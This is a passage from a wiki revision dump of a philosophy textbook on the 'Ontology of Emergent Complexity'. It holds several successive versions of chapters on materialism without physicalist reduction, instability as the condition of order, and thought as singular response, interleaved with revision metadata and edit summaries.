guide inquiry without contradicting empirical knowledge. == Heterogeneity without separate worlds == One material field can sustain radically different organisations. “One” refers to ontological continuity, not to homogeneity. The molecular, cellular, organismic, technical, symbolic, institutional, and planetary are analytical scales and regimes within the same field. They interact, constrain one another, and sometimes form new couplings. No scale has automatic explanatory privilege. Smaller does not mean more real; larger does not mean more complete. An account of molecular bonds can be indispensable to a study of a medicine while remaining insufficient to explain access to that medicine. Conversely, an institutional account cannot suspend pharmacology. Adequate explanation may require several scales whose relations are stated rather than collapsed. The same point prevents a hierarchy of substances. Biological organisation is not a second world added to physics. Symbolic organisation is not a third world added to life. Historically known symbolic systems depend on biological and technical supports, but the defining criteria are functional rather than species-exclusive. What changes at a threshold is what the configuration can do. == Position among contemporary materialisms == The OEC shares several commitments with contemporary materialisms: refusal of passive matter, criticism of anthropocentrism, and attention to the material efficacy of representations and institutions. It differs where vitality or agency is attributed too widely. Jane Bennett’s language of vibrant matter, for example, productively directs attention to non-human effects and assemblages. The OEC preserves that insight while reserving agency for configurations that meet explicit functional criteria. This restriction is not a return to human supremacy. It allows non-human agency in principle, but prevents every causal contribution from being renamed agency. The resulting position is '''threshold materialism'''. It holds together four claims: # all actual processes are materially realised; # matter is organised heterogeneously rather than uniformly; # new capacities can become operative at thresholds of functional coupling; # no capacity should be attributed without evidence appropriate to the regime. == Worked example: a digital medical record == A digital medical record helps clarify material sufficiency without reduction. # The record depends on electrical activity, storage media, networks, screens, bodies, and trained users. # A measurement becomes available through a protocol and a material inscription. # Symbols relate the measurement to diagnoses, prior results, uncertainty, and possible interventions. # Institutional rules determine who may read or alter the record. # Those symbolic and institutional operations can change treatment and redistribute exposure to benefit or harm. Nothing in this process is immaterial. Yet a description of voltages alone would not explain the clinical meaning, access rules, or ethical consequences. Different vocabularies track different organisations of the same material field. == Common confusions == {| class="wikitable" ! Claim ! It does not mean |- | Matter is the only substrate | Matter is an inert foundation beneath the world |- | The field is immanent | Every process is equally accessible to physics |- | Matter has operative effects | Every material configuration is an agent |- | Regimes are irreducible in description | Regimes are separate substances or worlds |- | Symbolic operations are material | Meanings can be read directly from their physical supports |} == Check your understanding == * Why is material sufficiency a constraint on explanation rather than a completed explanation? * What would be lost by describing an institution only at the molecular scale? * How can a capacity be irreducible to its components without becoming immaterial? * Which evidence would be required before calling a technical system symbolically agentive? * Why does “one field” not imply “one vocabulary”? == Transition == If material configurations require no external ground, their persistence cannot be guaranteed by one. [[Foundations of the Ontology of Emergent Complexity/Philosophical Commitments/Instability as a Condition, not a Problem|Section 1.7]] examines instability as the condition under which local order, history, and emergence become possible. For the preceding refusal of ground and teleology, see [[Foundations of the Ontology of Emergent Complexity/Philosophical Commitments/No Ground, No Soul, No Plan|Section 1.5]]. Bibliographic details are gathered in [[Foundations of the Ontology of Emergent Complexity/References|References]]. {{BookCat}} 2tmlsr0nks8crvuxbx3edc0cvo3n5ju 4670840 4670773 2026-09-18T02:08:22Z DavidCota64 3507033 Improve sentence variation and reduce repetitive binary constructions 4670840 wikitext text/x-wiki To say that matter is the only substrate can sound self-contradictory in a philosophy that rejects ultimate grounds. The apparent contradiction disappears once two senses of ''substrate'' are separated. The chapter rejects a '''substratum''': an inert layer lying beneath appearances and waiting to receive form. It retains “only substrate” as a negative ontological commitment: nothing that exists requires an immaterial substance, a transcendent plane, or a disembodied principle. There is one material field, internally differentiated and capable of producing heterogeneous regimes of organisation. The Ontology of Emergent Complexity (OEC) is therefore materialist without treating matter as dead stuff, and non-reductive without adding a second world. == Learning orientation == After reading this chapter, the reader should be able to: * distinguish matter from a passive metaphysical substratum; * explain why materialism does not entail physicalist reduction; * separate operative effect from agency; * understand how one field can contain different regimes and scales; * state what “material sufficiency” does and does not claim. The guiding question is: '''How can every process be material without every adequate explanation being written in the vocabulary of fundamental physics?''' == No metaphysical floor == Classical and modern philosophies often picture matter through a contrast. In hylomorphic descriptions it can appear as what receives form; in Cartesian dualism extension is distinguished from thought; in other systems a material order is supplemented by mind, spirit, value, or intelligible structure. The systems differ, and none should be reduced to a slogan. What matters here is the recurrent explanatory gesture: material processes are treated as insufficient until another principle gives them identity, intelligibility, or direction. The OEC refuses that supplement. Matter does not sit beneath the world as a featureless base. It names the whole immanent field of interactions, constraints, differences, and possible effects. A body, equation, memory, institution, and computer model differ in their organisation. None needs an immaterial component in order to be real. This is a claim of '''material sufficiency'''. It does not mean that current science already explains everything. It means that an unexplained phenomenon does not license the introduction of a non-material cause. Gaps in knowledge remain questions for inquiry, not entrances to another ontological domain. “Matter operates” must also be distinguished from “matter is universally agentive”. Rivers erode, metals expand, and storms alter coastlines. These are operative effects. Symbolic agency requires more specific capacities: material support, discrimination, inscription, recognition through symbols, relations between symbols, and the modulation of further action. The field is active without every configuration becoming a subject. == Materialism is not physicalism == Physicalism covers several doctrines. Many versions claim that every fact is ultimately fixed by physical facts or that a completed physics would supply the most fundamental description of everything. The OEC makes a different claim. All configurations are materially dependent, yet the vocabulary adequate to one regime may be insufficient for another. A chemical reaction must be physically possible. Chemical concepts nevertheless identify patterns that are not usefully replaced by a list of elementary interactions. An organism depends on chemistry. Metabolism, regulation, and ecological dependence require biological descriptions. A legal institution depends on bodies, documents, buildings, servers, and repeated practices. Its powers cannot be identified by measuring those supports alone. This is not an argument for mysterious higher substances. It is an argument about '''organisation and explanatory scale'''. New capacities become operative when material relations cross functional thresholds. The capacity remains materially realised, but it belongs to the configuration as organised, not to each component taken separately. Three positions should therefore be distinguished: {| class="wikitable" ! Position ! Central claim ! OEC response |- | Reductive physicalism | One fundamental vocabulary is sufficient in principle | Material dependence does not erase regime-specific organisation |- | Ontological dualism | Mind, meaning, or value requires a second kind of substance | Symbolic and ethical operations remain materially realised |- | Threshold materialism | One field produces heterogeneous capacities at specific organisational thresholds | Adopted, provided every claimed capacity is demonstrated through its effects |} The last proviso is important. Calling a process “emergent” is not an alternative to explaining it. The analysis must identify the relevant relations, the threshold, and the new operation. == Matter as an immanent, self-modulating field == “Self-modulating” does not mean that the field forms an intentional whole which directs itself. It means that changes in material relations can alter the conditions of further operation without an external organiser. Feedback, constraint, and functional coupling can stabilise a configuration; perturbations can reorganise or dissolve it. This formulation learns from process philosophies and theories of individuation while declining to turn process into a deeper reserve. Simondon’s metastability and Deleuze’s immanence help displace static substance. The OEC nevertheless resists treating the pre-individual or the virtual as a domain that already contains the new capacity in another form. Material conditions enable and constrain emergence; they do not constitute a hidden inventory of everything that will occur. Scientific descriptions can illuminate such processes, but they must not be converted into metaphysical proof. The dynamics of fields, phase transitions, and far-from-equilibrium systems show that contemporary science does not require the old image of inert matter. No single scientific theory, however, establishes the ontology of the book. The philosophical claim is assessed by its coherence across regimes and by its capacity to guide inquiry without contradicting empirical knowledge. == Heterogeneity without separate worlds == One material field can sustain radically different organisations. “One” refers to ontological continuity, not to homogeneity. The molecular, cellular, organismic, technical, symbolic, institutional, and planetary are analytical scales and regimes within the same field. They interact, constrain one another, and sometimes form new couplings. No scale has automatic explanatory privilege. Smaller does not mean more real; larger does not mean more complete. An account of molecular bonds can be indispensable to a study of a medicine while remaining insufficient to explain access to that medicine. Conversely, an institutional account cannot suspend pharmacology. Adequate explanation may require several scales whose relations are stated rather than collapsed. The same point prevents a hierarchy of substances. Biological organisation is not a second world added to physics. Symbolic organisation is not a third world added to life. Historically known symbolic systems depend on biological and technical supports. Their defining criteria are functional and remain open to configurations beyond any single species. What changes at a threshold is what the configuration can do. == Position among contemporary materialisms == The OEC shares several commitments with contemporary materialisms: refusal of passive matter, criticism of anthropocentrism, and attention to the material efficacy of representations and institutions. It differs where vitality or agency is attributed too widely. Jane Bennett’s language of vibrant matter, for example, productively directs attention to non-human effects and assemblages. The OEC preserves that insight while reserving agency for configurations that meet explicit functional criteria. This restriction is not a return to human supremacy. It allows non-human agency in principle, but prevents every causal contribution from being renamed agency. The resulting position is '''threshold materialism'''. It holds together four claims: # all actual processes are materially realised; # matter is organised heterogeneously rather than uniformly; # new capacities can become operative at thresholds of functional coupling; # no capacity should be attributed without evidence appropriate to the regime. == Worked example: a digital medical record == A digital medical record helps clarify material sufficiency without reduction. # The record depends on electrical activity, storage media, networks, screens, bodies, and trained users. # A measurement becomes available through a protocol and a material inscription. # Symbols relate the measurement to diagnoses, prior results, uncertainty, and possible interventions. # Institutional rules determine who may read or alter the record. # Those symbolic and institutional operations can change treatment and redistribute exposure to benefit or harm. Nothing in this process is immaterial. Yet a description of voltages alone would not explain the clinical meaning, access rules, or ethical consequences. Different vocabularies track different organisations of the same material field. == Common confusions == {| class="wikitable" ! Claim ! It does not mean |- | Matter is the only substrate | Matter is an inert foundation beneath the world |- | The field is immanent | Every process is equally accessible to physics |- | Matter has operative effects | Every material configuration is an agent |- | Regimes are irreducible in description | Regimes are separate substances or worlds |- | Symbolic operations are material | Meanings can be read directly from their physical supports |} == Check your understanding == * Why is material sufficiency a constraint on explanation rather than a completed explanation? * What would be lost by describing an institution only at the molecular scale? * How can a capacity be irreducible to its components without becoming immaterial? * Which evidence would be required before calling a technical system symbolically agentive? * Why does “one field” not imply “one vocabulary”? == Transition == If material configurations require no external ground, their persistence cannot be guaranteed by one. [[Foundations of the Ontology of Emergent Complexity/Philosophical Commitments/Instability as a Condition, not a Problem|Section 1.7]] examines instability as the condition under which local order, history, and emergence become possible. For the preceding refusal of ground and teleology, see [[Foundations of the Ontology of Emergent Complexity/Philosophical Commitments/No Ground, No Soul, No Plan|Section 1.5]]. Bibliographic details are gathered in [[Foundations of the Ontology of Emergent Complexity/References|References]]. {{BookCat}} h4gr1ik259p5rcrjcd07bavvx9si90r 0 476962 4670754 4670233 2026-09-17T23:41:58Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670754 wikitext text/x-wiki '''1.7 - Instability as a Condition, not a Problem''' Instability is not the negation of order. It is its condition. The Ontology of Emergent Complexity does not oppose chaos to form, nor disorder to structure. What it opposes is the metaphysical fiction that treats stability as the norm and instability as its accident. In this ontology, there is no ground behind the flux, no hidden architecture upholding coherence. Every form, every system, every expression of consistency arises not in spite of instability but through it — because of it. Matter is not initially stable and then perturbed. It is unstable from the start. And this instability is not an error. It is generative (''Simondon, 2005, p. 215''). From the folding of amino acids into proteins to the turbulent birth of stars, from the stochastic processes that trigger cell division to the gravitational irregularities that shape planetary systems, the material universe is a field of tensions — and it is within these tensions that organization occurs. The form is not imposed from outside; it is what arises when instability lingers long enough to pattern itself. Molecules do not emerge from equilibrium but from dynamic interaction zones. Cells are not stable entities but metastable regimes. Even galactic spirals — so apparently harmonious — are the consequence of gravitational inconsistencies propagating across vast scales. What we call “stability” is always provisional. It is a momentary slowing down of transformation, not its suspension (''Prigogine, 1997, p. 61''). Philosophy, however, has long framed instability as a threat: to knowledge, to identity, to truth. Plato exiled the sensible world from the domain of the intelligible because it was unstable (''Plato, 1997, p. 1259''); Aristotle sought form as a telos to give matter coherence (''Aristotle, 1984, p. 1633''); Descartes grounded certainty in the clarity of unshakable ideas (''Descartes, 1996, p. 59''); Kant confined reason to the conditions of possible experience (''Kant, 1998, p. 246''); Even Hegel, who saw contradiction as motor, oriented his system toward reconciliation (''Hegel, 1977, p. 11''). And Heidegger — despite breaking with metaphysics — still sought an originary truth of Being to be disclosed (''Heidegger, 1962, p. 20''). All these attempts, however disparate, are animated by the same desire: to stabilize thought in the face of a world that resists it. The Ontology of Emergent Complexity refuses that desire. It does not seek to pacify the unstable, nor to translate it into a more acceptable form. It begins from it — and stays with it. Instability is not a phase to overcome. It is the plane of emergence itself. It is where matter becomes expressive, where relation overtakes identity, where consistency does not precede the real but results from the pressure of holding together what does not want to stay. The symbolic, when it appears, is not the taming of chaos. It is the inscription of difference in a world that offers no guarantees. It is the echo of tension — not its silencing. This is why the symbolic must be understood not as a veil cast over disorder, but as a recursive gesture within it. There is no hierarchy between the material and the symbolic. But there is a sequence: the symbolic emerges from material instability, not the reverse. There is no language without entropy, no gesture without pressure, no meaning without modulation. To think is not to escape instability but to reorganize it — partially, briefly, never definitively. Several modern thinkers have gestured in this direction. Ilya Prigogine showed that far-from-equilibrium systems can self-organize (''Prigogine, 1997, p. 122''), but retained a language of structure and attractors. Simondon’s concept of metastability advanced the idea that individuation is not the passage from disorder to order, but he still posited a pre-individual field (''Simondon, 2005, p. 215''). Deleuze affirmed becoming, difference, and deterritorialization, yet grounded them in a virtual consistency that risks reinstating a deeper layer of intelligibility (''Deleuze, 1994, p. 208''). Even Glissant’s philosophy of opacity, which embraces the unknowable, sometimes veers toward a poetics of the whole (''Glissant, 1990, p. 83''). The Ontology of Emergent Complexity radicalizes these gestures by abandoning all residues of background, plan, or rhythm beneath the real. There is no reservoir. No orientation. No architecture of becoming. The implications are profound. To exist is not to rest upon a foundation, but to persist through asymmetry. To think is not to uncover hidden form, but to respond symbolically to the pressure of an excess of possibilities that precedes us. To relate is not to bridge two stable points, but to sustain a link that vibrates with uncertainty. The real is not what has form. It is what, for a moment, becomes form without ceasing to tremble. What emerges is not what ought to be. It is what manages, under pressure, to hold. Not to fulfill a plan. But to endure — however briefly — the risk of matter organizing itself. == 🜂 Reading Colloquium – Pedagogical Framing   == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === --- === 2. Philosophical Problem at Stake === --- === 3. Core Thesis and Conceptual Reorganization === --- === 4. Key Concepts and Their Articulation === --- === 5. Implications for Readers and Pedagogical Pathways === ---{{BookCat}} pnqhklhc5nevisrgfn96nksvj9kda4a 4670772 4670754 2026-09-18T00:41:48Z DavidCota64 3507033 Expand 1.7 from the Portuguese source with pedagogical structure and conceptual corrections 4670772 wikitext text/x-wiki Instability is not the opposite of order. It is the absence of any final guarantee that an order will persist. A configuration can be highly regular, durable, and predictable while remaining dependent on conditions that may change. The OEC therefore treats stability as a local achievement within instability, not as the original state from which change deviates. This claim is ontological, but it must be used carefully. It does not say that everything changes rapidly, that laws are unreliable, or that disorder is preferable to organisation. It says that no configuration is self-sufficient or exempt from the relations that sustain it. == Learning orientation == After reading this chapter, the reader should be able to: * distinguish instability from chaos, randomness, and visible volatility; * explain conditional stability without reducing it to illusion; * separate instability from operative excess; * understand why novelty requires instability but instability does not guarantee novelty; * show how this chapter completes the seven commitments of Part I. The guiding question is: '''What makes a stable configuration real without making its stability absolute?''' == Instability as an ontological condition == A bridge, organism, language, and star persist over very different intervals and through different mechanisms. Each can be treated as a configuration because its relations remain sufficiently consistent for the question being asked. None exists independently of those relations. Loads, maintenance, metabolism, communication, or physical interactions sustain its continuity. Instability names this dependence on variable conditions. It is not a hidden force underneath every event. Nor is it the prediction that collapse is imminent. A configuration is unstable in the technical sense used here because a change in its sustaining relations can perturb, reorganise, or dissolve it. This definition produces an important shift: * stability is not denied; it is explained; * change is not an exception; it is a standing possibility; * persistence is not inertia; it is continued material organisation; * order is not universal; it is local to a configuration, scale, and interval. The expression “to be is to be unstable” should therefore be read as “to exist materially is to depend on relations that do not carry an eternal guarantee”. == What instability is not == Instability is easily confused with neighbouring concepts. {| class="wikitable" ! Term ! Meaning ! Relation to OEC instability |- | Disorder | Absence of a selected pattern or failure of a particular organisation | A system may be unstable without appearing disordered |- | Randomness | A statistical or epistemic property defined within a model | Instability is not established merely by unpredictability |- | Deterministic chaos | Sensitive dependence within specified nonlinear dynamics | A scientific case of complex behaviour, not the definition of the ontological operator |- | Volatility | Rapid or large observable variation | A slowly changing configuration can remain conditionally stable |- | Fragility | Low resistance to a relevant perturbation | Some unstable configurations are nevertheless very robust |} These distinctions protect the argument from a common shortcut: using “instability” as a dramatic synonym for whatever is complicated or uncertain. == Conditional stability across regimes == The concept applies differently according to scale and regime. A crystal can preserve an ordered lattice under a wide range of ordinary conditions. Its stability is real and measurable. It remains conditional upon temperature, pressure, chemical environment, and the structure of the material. The philosophical point is not that the crystal is secretly chaotic, but that its order does not explain or guarantee itself. A living cell persists through active regulation: exchanges across a membrane, repair, energy use, and coordination among processes. Here stability is visibly dynamic. Suspending the relevant exchanges does not reveal a permanent substance beneath them; it interrupts the organisation that maintained the cell. A legal institution persists through documents, procedures, buildings, technical systems, trained participants, enforcement, and public recognition. Its continuity is neither merely mental nor reducible to the paper on which rules are written. It is a material-symbolic achievement reproduced through many couplings. The examples are not interchangeable. Crystal formation does not constitute symbolic decision; institutional revision is not a phase transition in the physical sense. They demonstrate a shared analytical question: '''which relations maintain this order, and what changes would exceed its capacity to persist in its present form?''' == Instability and formal systems == Formal reasoning does not escape every limit by becoming abstract. Gödel’s incompleteness theorems show, under precise conditions, that sufficiently expressive consistent formal systems cannot prove every arithmetical truth expressible within them. Turing’s halting result shows that no general algorithm decides for every programme and input whether the programme will halt. These results should not be turned into metaphors about matter. They concern formal systems and computation, not the ontology of physical processes. Their relevance is limited but instructive: even exact symbolic constructions have domains, assumptions, and internal limits. They do not justify the OEC’s ontology, but they undermine the easy ideal of a single, complete, self-validating symbolic closure. The analogy must stop there. Ontological instability is not a theorem of logic, and logical incompleteness is not material instability. Rigour depends on preserving the difference. == Instability and operative excess == Instability and operative excess are connected but not identical. '''Instability''' concerns persistence: no configuration is finally guaranteed against perturbation or reorganisation. '''Operative excess''' concerns integration: operations available to, imposed upon, or made possible within a system exceed what its present organisation can integrate. A stone exposed to erosion illustrates instability without thereby possessing a symbolic organisation under operative excess. A research programme confronted by results that its conceptual framework cannot integrate may exhibit both: its established order is vulnerable to revision, and the required operations exceed its current symbolic form. Operative excess can press a system towards invention, but it can also overwhelm it. Instability makes reorganisation possible; it does not guarantee that a new order will emerge. == Novelty without romanticising disruption == If every configuration were absolutely fixed, no new relation or capacity could become operative. In this restricted sense, novelty requires instability. Yet it would be a serious mistake to conclude that greater instability is always better. Disruption can destroy capacities, erase memory, sever support, and concentrate harm. An ecosystem may lose relations faster than new couplings can form. An institution may be destabilised in ways that remove mechanisms of protection without creating more responsive ones. Ethical and political analysis must therefore distinguish generative reorganisation from destructive disorganisation. The OEC affirms neither chaos nor disruption. It affirms the openness of material configurations to variation while asking what capacities survive, what new couplings become possible, and how exposure is redistributed. This also clarifies the relation between instability and emergence: # a configuration depends on variable material conditions; # a perturbation or internal tension changes the relations; # new couplings may form if enabling conditions are present; # a new capacity counts as emergent only when its effects become operative; # the resulting local order remains conditionally stable. The sequence is analytical, not a universal timetable. Many perturbations produce no novelty; many thresholds are approached without being crossed. == Worked example: a candle flame == A candle flame appears as a stable object, but it is a maintained pattern. # Wax melts and is transported through the wick. # Fuel vapour interacts with oxygen. # Heat sustains further melting and combustion. # The visible form persists while these processes remain coupled. # Remove fuel or oxygen, or alter the conditions sufficiently, and the flame disappears. The flame is neither unreal nor permanent. Its stability consists in the continued reproduction of a pattern through flow. It offers a simple model of local order, although organisms and institutions require additional concepts that the flame does not instantiate. Now change scale. A laboratory can keep the flame burning under controlled conditions for a long interval. The increased stability results from further couplings — equipment, monitoring, procedures, and intervention — not from escape from instability. Control extends a local order; it does not confer metaphysical permanence. == Closing Part I: seven commitments, one field == Part I has established a connected position: # no metaphysical dualism; # no duplicated world behind or above this one; # thought as a materially realised capacity rather than an immaterial subject; # symbolisation as an immanent material operation; # no transcendent ground, soul, or plan; # matter as the only substrate, without physicalist reduction; # instability as the condition of every local order. These commitments do not form a deductive system from which the rest of the book follows automatically. They define the field within which its method and operators will be tested. Part II turns from what the framework commits to towards how inquiry should proceed when no final standpoint is available. == Check your understanding == * Can something be stable for millions of years and still be unstable in the OEC sense? * Why does unpredictability alone not establish ontological instability? * What is the difference between instability and operative excess? * Why does novelty require instability without being guaranteed by it? * Which additional capacities distinguish an institution from the candle-flame example? == Transition == [[Foundations of the Ontology of Emergent Complexity/Method and Style/Thought as Singular Response|Section 2.1]] begins the methodological part of the book: thought is approached as a situated response within the same unstable field, not as observation from outside it. For the materialist commitment on which this chapter depends, return to [[Foundations of the Ontology of Emergent Complexity/Philosophical Commitments/Matter as the Only Substrate|Section 1.6]]. {{BookCat}} tcgup4eypkjpjyu8rsrwbnfvs3wia7q 0 476963 4670743 4670235 2026-09-17T23:41:18Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670743 wikitext text/x-wiki '''2.1 - Thought as Singular Response''' Philosophy, in the Ontology of Emergent Complexity (OEC), is not a discipline of repetition, nor a repository of abstract methods ready to be applied to given problems. It is, rather, an operative gesture of symbolic reorganization emerging from the internal tension of matter. To think is not to follow a path; it is to open one. In this framework, every philosophical act must be understood as a singular response to a singular configuration of the real. There is no general form for thinking, because there is no general form of the real. This displacement separates the OEC from any model of philosophy grounded in the priority of method. Cartesian rationalism (''Descartes, 1964, p. 3'') posits that clarity and distinctness are criteria independent of the content encountered; they arise from a subject who imposes order on the world. Hegelian logic (''Hegel, 1969, p. 28'') constructs the concept as a development necessarily unfolding from the dialectical negativity of thought itself, independent of the contingency of the world. Both approaches enact a double error: they presume a stability in the subject, and they subordinate the real to the form of intelligibility. The OEC rejects both presumptions. There is no stable subject outside the pressures of material configuration, and intelligibility is not form imposed, but structure that emerges under the weight of symbolic excess. To think, in this sense, is not to represent but to respond. Response is not reaction; it is symbolic modulation that reorganizes a given field of instability. There is no thought without friction, because thought is the effect of modulation within a tensioned material system. Gilbert Simondon, in ''L'individuation à la lumière des notions de forme et d'information'', anticipates this by refusing the hylemorphic schema and describing individuation as the resolution of a metastable state (''Simondon, 2005, p. 215''). Yet Simondon remains attached to the notion of resolution, whereas the OEC insists on non-resolution as a generative condition. Instability is not a problem to be solved, but a resource to be inhabited. The singularity of thought thus does not derive from subjectivity, interiority, or intentionality. It emerges from the particular arrangement of tensions that a body (biological or not) is exposed to. There is no transcendental ego, no universal reason, no abstract method. There is only the biossoma¹, or the technical system, modulating the symbolic in order to sustain its own persistence under pressure. Each gesture of thought is a material act of symbolic reconfiguration; each concept is a tool forged in asymmetry. This philosophical position realigns thinking with risk. It removes it from the academic economy of citation and affiliation, and situates it as an ethical exposure to what exceeds existing categories. The thinker does not repeat or comment; they intervene in the real. They do not apply a method; they construct a gesture. In this, the OEC resonates with the non-philosophy of François Laruelle (''Laruelle, 1996, p. 21''), not in method but in spirit: philosophy is no longer sovereign, but contingent, situated, and responsive. To be faithful to a problem is not to resolve it but to inhabit its irreducibility. A philosophical gesture that seeks only clarity will betray the opacity that constitutes the real. Clarity is not a goal but a byproduct of an encounter. The OEC maintains that every act of thought must be inseparable from the specific field of forces that gave rise to it. Therefore, the structure of each concept, and of each text, must be unique. The consequence of this view is methodological and stylistic. The refusal of generalized form entails a refusal of generic writing. The text must carry the trace of the pressure it emerges from. Philosophical writing, in this sense, is not exposition but inscription. Its rhythm, density, and sequence must arise from the problem itself. As the ''Personal Declaration of Philosophical Method'' affirms, thought in the OEC "is born not from technique, but from the singular demand of what interrupts the symbolic equilibrium of the world." Thus, we do not begin from concepts; we arrive at them. We do not choose problems; we are seized by them. To think is not to assert but to traverse. The method of the OEC is this traversal—not a path to truth, but a folding of the world that never repeats. == 🜂 Reading Colloquium – Pedagogical Framing   == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === --- === 2. Philosophical Problem at Stake === --- === 3. Core Thesis and Conceptual Reorganization === --- === 4. Key Concepts and Their Articulation === --- === 5. Implications for Readers and Pedagogical Pathways === ---{{BookCat}} iw4pd8etbhb1kzv720hbd0ki3pl5gcm 4670798 4670743 2026-09-18T01:50:39Z DavidCota64 3507033 Complete the Reading Colloquium from the revised local pedagogical guide 4670798 wikitext text/x-wiki '''2.1 - Thought as Singular Response''' Philosophy, in the Ontology of Emergent Complexity (OEC), is not a discipline of repetition, nor a repository of abstract methods ready to be applied to given problems. It is, rather, an operative gesture of symbolic reorganization emerging from the internal tension of matter. To think is not to follow a path; it is to open one. In this framework, every philosophical act must be understood as a singular response to a singular configuration of the real. There is no general form for thinking, because there is no general form of the real. This displacement separates the OEC from any model of philosophy grounded in the priority of method. Cartesian rationalism (''Descartes, 1964, p. 3'') posits that clarity and distinctness are criteria independent of the content encountered; they arise from a subject who imposes order on the world. Hegelian logic (''Hegel, 1969, p. 28'') constructs the concept as a development necessarily unfolding from the dialectical negativity of thought itself, independent of the contingency of the world. Both approaches enact a double error: they presume a stability in the subject, and they subordinate the real to the form of intelligibility. The OEC rejects both presumptions. There is no stable subject outside the pressures of material configuration, and intelligibility is not form imposed, but structure that emerges under the weight of symbolic excess. To think, in this sense, is not to represent but to respond. Response is not reaction; it is symbolic modulation that reorganizes a given field of instability. There is no thought without friction, because thought is the effect of modulation within a tensioned material system. Gilbert Simondon, in ''L'individuation à la lumière des notions de forme et d'information'', anticipates this by refusing the hylemorphic schema and describing individuation as the resolution of a metastable state (''Simondon, 2005, p. 215''). Yet Simondon remains attached to the notion of resolution, whereas the OEC insists on non-resolution as a generative condition. Instability is not a problem to be solved, but a resource to be inhabited. The singularity of thought thus does not derive from subjectivity, interiority, or intentionality. It emerges from the particular arrangement of tensions that a body (biological or not) is exposed to. There is no transcendental ego, no universal reason, no abstract method. There is only the biossoma¹, or the technical system, modulating the symbolic in order to sustain its own persistence under pressure. Each gesture of thought is a material act of symbolic reconfiguration; each concept is a tool forged in asymmetry. This philosophical position realigns thinking with risk. It removes it from the academic economy of citation and affiliation, and situates it as an ethical exposure to what exceeds existing categories. The thinker does not repeat or comment; they intervene in the real. They do not apply a method; they construct a gesture. In this, the OEC resonates with the non-philosophy of François Laruelle (''Laruelle, 1996, p. 21''), not in method but in spirit: philosophy is no longer sovereign, but contingent, situated, and responsive. To be faithful to a problem is not to resolve it but to inhabit its irreducibility. A philosophical gesture that seeks only clarity will betray the opacity that constitutes the real. Clarity is not a goal but a byproduct of an encounter. The OEC maintains that every act of thought must be inseparable from the specific field of forces that gave rise to it. Therefore, the structure of each concept, and of each text, must be unique. The consequence of this view is methodological and stylistic. The refusal of generalized form entails a refusal of generic writing. The text must carry the trace of the pressure it emerges from. Philosophical writing, in this sense, is not exposition but inscription. Its rhythm, density, and sequence must arise from the problem itself. As the ''Personal Declaration of Philosophical Method'' affirms, thought in the OEC "is born not from technique, but from the singular demand of what interrupts the symbolic equilibrium of the world." Thus, we do not begin from concepts; we arrive at them. We do not choose problems; we are seized by them. To think is not to assert but to traverse. The method of the OEC is this traversal—not a path to truth, but a folding of the world that never repeats. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This is the opening section of Part II, which addresses the method and style of the framework. After Part I established the ontological commitments, Part II specifies how the framework operates — not as a method in the Cartesian sense (a set of rules guaranteeing correct results) but as a mode of situated, responsive philosophical engagement. This section introduces the concept of thought as singular response: each act of thinking is a specific material operation performed under specific conditions, not the application of a universal procedure. === 2. Philosophical Problem at Stake === The problem is methodological but has ontological stakes: if there is no transcendent ground, no universal method, and no guarantee of closure, how does the framework justify its own procedures? The section confronts the challenge of doing philosophy without methodological security — without a set of rules that would ensure, in advance, the validity of the results. === 3. Core Thesis and Conceptual Reorganisation === The thesis is that philosophical thought operates as a singular response to the specific configuration of a field. No universal procedure guarantees the result in advance. Situated symbolic operations reorganise the conditions under which a problem can be thought, while material resistance and correspondence constrain what those operations may legitimately claim. The constraints are immanent: they arise from the phenomenon, the evidence, and the relations under examination rather than from a method imposed from outside. === 4. Key Concepts and Their Articulation === The key concepts are singularity (each philosophical operation answers a determinate configuration), response (thought follows the resistance of the field rather than legislating over it), and operative coherence. Coherence includes internal consistency and the capacity to reorganise a problem, but it remains answerable to material correspondence; productive power alone cannot make a claim true. === 5. Implications for Readers and Pedagogical Pathways === Readers should understand that this section redefines what it means to "do philosophy" within the framework. It is not interpretation, not hermeneutics, not analysis in the logical sense. It is inscription — a material gesture that reorganises the conditions of thought. The pedagogical challenge is to move from the expectation of a method that guarantees results to the acceptance of a practice that operates under conditions of risk. {{BookCat}} lekbl10yzs5s9743iwpxdzvgpavgurq 4670827 4670798 2026-09-18T02:01:12Z DavidCota64 3507033 Use British English consistently in prose and pedagogical headings 4670827 wikitext text/x-wiki '''2.1 - Thought as Singular Response''' Philosophy, in the Ontology of Emergent Complexity (OEC), is not a discipline of repetition, nor a repository of abstract methods ready to be applied to given problems. It is, rather, an operative gesture of symbolic reorganisation emerging from the internal tension of matter. To think is not to follow a path; it is to open one. In this framework, every philosophical act must be understood as a singular response to a singular configuration of the real. There is no general form for thinking, because there is no general form of the real. This displacement separates the OEC from any model of philosophy grounded in the priority of method. Cartesian rationalism (''Descartes, 1964, p. 3'') posits that clarity and distinctness are criteria independent of the content encountered; they arise from a subject who imposes order on the world. Hegelian logic (''Hegel, 1969, p. 28'') constructs the concept as a development necessarily unfolding from the dialectical negativity of thought itself, independent of the contingency of the world. Both approaches enact a double error: they presume a stability in the subject, and they subordinate the real to the form of intelligibility. The OEC rejects both presumptions. There is no stable subject outside the pressures of material configuration, and intelligibility is not form imposed, but structure that emerges under the weight of symbolic excess. To think, in this sense, is not to represent but to respond. Response is not reaction; it is symbolic modulation that reorganizes a given field of instability. There is no thought without friction, because thought is the effect of modulation within a tensioned material system. Gilbert Simondon, in ''L'individuation à la lumière des notions de forme et d'information'', anticipates this by refusing the hylemorphic schema and describing individuation as the resolution of a metastable state (''Simondon, 2005, p. 215''). Yet Simondon remains attached to the notion of resolution, whereas the OEC insists on non-resolution as a generative condition. Instability is not a problem to be solved, but a resource to be inhabited. The singularity of thought thus does not derive from subjectivity, interiority, or intentionality. It emerges from the particular arrangement of tensions that a body (biological or not) is exposed to. There is no transcendental ego, no universal reason, no abstract method. There is only the biossoma¹, or the technical system, modulating the symbolic in order to sustain its own persistence under pressure. Each gesture of thought is a material act of symbolic reconfiguration; each concept is a tool forged in asymmetry. This philosophical position realigns thinking with risk. It removes it from the academic economy of citation and affiliation, and situates it as an ethical exposure to what exceeds existing categories. The 